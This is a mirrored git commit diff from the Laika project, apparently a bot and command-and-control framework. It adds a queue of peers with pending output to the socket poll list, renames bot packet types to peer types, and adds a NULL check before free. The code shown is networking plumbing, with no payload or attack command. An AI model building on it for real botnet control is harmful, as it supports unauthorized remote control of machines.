mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-04 15:20:07 +00:00
Added laikaP_pushOutQueue, minor refactoring
- sLaika_pollList now holds an outQueue, if events are sent to a peer, the pollList will keep track so the caller (cnc, bot, etc) can handle each pollOut for the queued peers.
This commit is contained in:
@@ -31,14 +31,14 @@ enum {
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_ADD_BOT, /* notification that a bot has connected to the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_BOT
|
||||
LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
* -- reserved info later (machine info including hostname, OS, machineType, ip, etc.)
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_RMV_BOT, /* notification that a bot has disconnected from the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_BOT
|
||||
LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
|
@@ -16,8 +16,11 @@ struct sLaika_pollEvent {
|
||||
bool pollOut;
|
||||
};
|
||||
|
||||
struct sLaika_peer;
|
||||
|
||||
struct sLaika_pollList {
|
||||
struct hashmap *sockets;
|
||||
struct sLaika_peer **outQueue; /* holds peers which have data needed to be sent */
|
||||
struct sLaika_pollEvent *revents;
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* epoll */
|
||||
@@ -29,8 +32,10 @@ struct sLaika_pollList {
|
||||
int fdCapacity;
|
||||
int fdCount;
|
||||
#endif
|
||||
int reventCapacity;
|
||||
int reventCap;
|
||||
int reventCount;
|
||||
int outCap;
|
||||
int outCount;
|
||||
};
|
||||
|
||||
void laikaP_initPList(struct sLaika_pollList *pList);
|
||||
@@ -40,6 +45,8 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
|
||||
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
|
||||
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
|
||||
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData);
|
||||
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer);
|
||||
void laikaP_resetOutQueue(struct sLaika_pollList *pList);
|
||||
|
||||
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *nevents);
|
||||
|
||||
|
@@ -6,7 +6,8 @@ void *laikaM_realloc(void *buf, size_t sz) {
|
||||
|
||||
/* are we free'ing the buffer? */
|
||||
if (sz == 0) {
|
||||
free(buf);
|
||||
if (buf != NULL) /* sanity check :) */
|
||||
free(buf);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
@@ -61,6 +61,9 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
sock->outCount += crypto_secretbox_MACBYTES;
|
||||
}
|
||||
|
||||
/* add to pollList's out queue */
|
||||
laikaP_pushOutQueue(peer->pList, peer);
|
||||
|
||||
sz = sock->outCount - peer->outStart;
|
||||
peer->outStart = -1;
|
||||
return sz;
|
||||
@@ -179,9 +182,6 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (peer->sock.outCount > 0 && !laikaS_handlePeerOut(peer))
|
||||
return false;
|
||||
|
||||
return laikaS_isAlive((&peer->sock));
|
||||
}
|
||||
|
||||
|
@@ -25,8 +25,11 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
|
||||
/* setup hashmap */
|
||||
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL);
|
||||
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
|
||||
pList->reventCapacity = POLLSTARTCAP/GROW_FACTOR;
|
||||
pList->reventCap = POLLSTARTCAP/GROW_FACTOR;
|
||||
pList->reventCount = 0;
|
||||
pList->outQueue = NULL;
|
||||
pList->outCap = POLLSTARTCAP/GROW_FACTOR;
|
||||
pList->outCount = 0;
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* setup our epoll */
|
||||
@@ -43,6 +46,7 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
|
||||
|
||||
void laikaP_cleanPList(struct sLaika_pollList *pList) {
|
||||
laikaM_free(pList->revents);
|
||||
laikaM_free(pList->outQueue);
|
||||
hashmap_free(pList->sockets);
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
@@ -138,6 +142,23 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
||||
#endif
|
||||
}
|
||||
|
||||
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer) {
|
||||
int i;
|
||||
|
||||
/* first, check that we don't have this peer in the queue already */
|
||||
for (i = 0; i < pList->outCount; i++) {
|
||||
if (pList->outQueue[i] == peer)
|
||||
return; /* found it :) */
|
||||
}
|
||||
|
||||
laikaM_growarray(struct sLaika_peer*, pList->outQueue, 1, pList->outCount, pList->outCap);
|
||||
pList->outQueue[pList->outCount++] = peer;
|
||||
}
|
||||
|
||||
void laikaP_resetOutQueue(struct sLaika_pollList *pList) {
|
||||
pList->outCount = 0; /* ez lol */
|
||||
}
|
||||
|
||||
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) {
|
||||
int nEvents, i;
|
||||
|
||||
@@ -153,7 +174,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
|
||||
for (i = 0; i < nEvents; i++) {
|
||||
/* add event to revent array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
|
||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
||||
.sock = pList->ep_events[i].data.ptr,
|
||||
.pollIn = pList->ep_events[i].events & EPOLLIN,
|
||||
@@ -174,7 +195,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
||||
|
||||
/* insert event into revents array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
|
||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
||||
.sock = elem->sock,
|
||||
.pollIn = pfd.revents & POLLIN,
|
||||
|
Reference in New Issue
Block a user